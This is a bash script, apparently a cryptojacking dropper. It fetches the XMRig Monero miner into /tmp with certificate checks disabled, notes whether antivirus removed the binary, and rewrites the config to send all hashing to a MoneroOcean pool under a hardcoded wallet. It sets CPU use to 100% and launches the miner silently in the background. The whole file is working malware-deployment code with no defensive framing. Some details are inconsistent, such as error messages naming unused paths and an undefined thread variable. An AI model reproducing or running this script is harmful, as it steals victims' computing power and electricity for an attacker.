1. #!/bin/bash
2. # download xmr
3. if ! wget https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-static-x64.tar.gz -O /tmp/1.tar.gz --no-check-certificate; then
4.   echo "ERROR: Can't download https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-static-x64.tar.gz file to /tmp/xmrig.tar.gz"
5.   exit 1
6. fi
7. # tar gz
8. if ! tar xf /tmp/1.tar.gz -C /tmp/; then
9.   echo "ERROR: Can't unpack /tmp/xmrig.tar.gz to $HOME/moneroocean directory"
10.   rm /tmp/1.tar.gz /tmp/2.sh
11.   exit 1
12. fi
13. # rname
14. mv /tmp/xmrig-6.15.0 /tmp/x
15.  
16. if [ -f /tmp/x/xmrig ]; then
17.     echo "WARNING: xmrig is ok"
18. else
19.     echo "WARNING: xmrig was removed by antivirus (or some other problem)"
20. fi
21.  
22.  
23.  
24. # port
25. EXP_MONERO_HASHRATE=$(( CPU_THREADS * 700 / 1000))
26. if [ -z $EXP_MONERO_HASHRATE ]; then
27.   echo "ERROR: Can't compute projected Monero CN hashrate"
28.   exit 1
29. fi
30.  
31. power2() {
32.   if ! type bc >/dev/null; then
33.     if   [ "$1" -gt "8192" ]; then
34.       echo "8192"
35.     elif [ "$1" -gt "4096" ]; then
36.       echo "4096"
37.     elif [ "$1" -gt "2048" ]; then
38.       echo "2048"
39.     elif [ "$1" -gt "1024" ]; then
40.       echo "1024"
41.     elif [ "$1" -gt "512" ]; then
42.       echo "512"
43.     elif [ "$1" -gt "256" ]; then
44.       echo "256"
45.     elif [ "$1" -gt "128" ]; then
46.       echo "128"
47.     elif [ "$1" -gt "64" ]; then
48.       echo "64"
49.     elif [ "$1" -gt "32" ]; then
50.       echo "32"
51.     elif [ "$1" -gt "16" ]; then
52.       echo "16"
53.     elif [ "$1" -gt "8" ]; then
54.       echo "8"
55.     elif [ "$1" -gt "4" ]; then
56.       echo "4"
57.     elif [ "$1" -gt "2" ]; then
58.       echo "2"
59.     else
60.       echo "1"
61.     fi
62.   else
63.     echo "x=l($1)/l(2); scale=0; 2^((x+0.5)/1)" | bc -l;
64.   fi
65. }
66.  
67.  
68. PORT=$(( $EXP_MONERO_HASHRATE * 30 ))
69. PORT=$(( $PORT == 0 ? 1 : $PORT ))
70. PORT=`power2 $PORT`
71. PORT=$(( 10000 + $PORT ))
72. if [ -z $PORT ]; then
73.   echo "ERROR: Can't compute port"
74.   exit 1
75. fi
76.  
77. if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then
78.   echo "ERROR: Wrong computed port value: $PORT"
79.   exit 1
80. fi
81.  
82.  
83. # config
84. rm /tmp/1.tar.gz
85. sed -i 's/"donate-level": *[^,]*,/"donate-level": 0,/' /tmp/x/config.json
86. sed -i 's/"url": *"[^"]*",/"url": "gulf.moneroocean.stream:'$PORT'",/' /tmp/x/config.json
87. sed -i 's/"user": *"[^"]*",/"user": "86dKzpUoSZMbk5gmAnR9CThGn5hTfcqKqBpQdGogwRRiN8FUpcS8kZFW3t5GnWY879Vwidm8DcTUgZLjf8ySvUhc6ymb3Pu",/' /tmp/x/config.json
88. sed -i 's/"pass": *"[^"]*",/"pass": "x",/' /tmp/x/config.json
89. sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' /tmp/x/config.json
90. sed -i 's#"log-file": *null,#"log-file": "'/tmp/x/xmrig.log'",#' /tmp/x/config.json
91. sed -i 's/"syslog": *[^,]*,/"syslog": true,/' /tmp/x/config.json
92. sed -i 's/"background": *false,/"background": true,/' /tmp/x/config.json
93.  
94.  
95. # miner.sh
96. cat >/tmp/x/miner.sh <<EOL
97. #!/bin/bash
98. if ! pidof xmrig >/dev/null; then
99.   nice /tmp/x/xmrig \$*
100. else
101.   echo "Monero miner is already running in the background. Refusing to run another one."
102.   echo "Run \"killall xmrig\" or \"sudo killall xmrig\" if you want to remove background miner first."
103. fi
104. EOL
105.  
106. chmod +x /tmp/x/miner.sh
107. # run
108. /bin/bash /tmp/x/miner.sh --config=/tmp/x/config.json >/dev/null 2>&1
109. echo "[*] Setup complete"
110. exit 1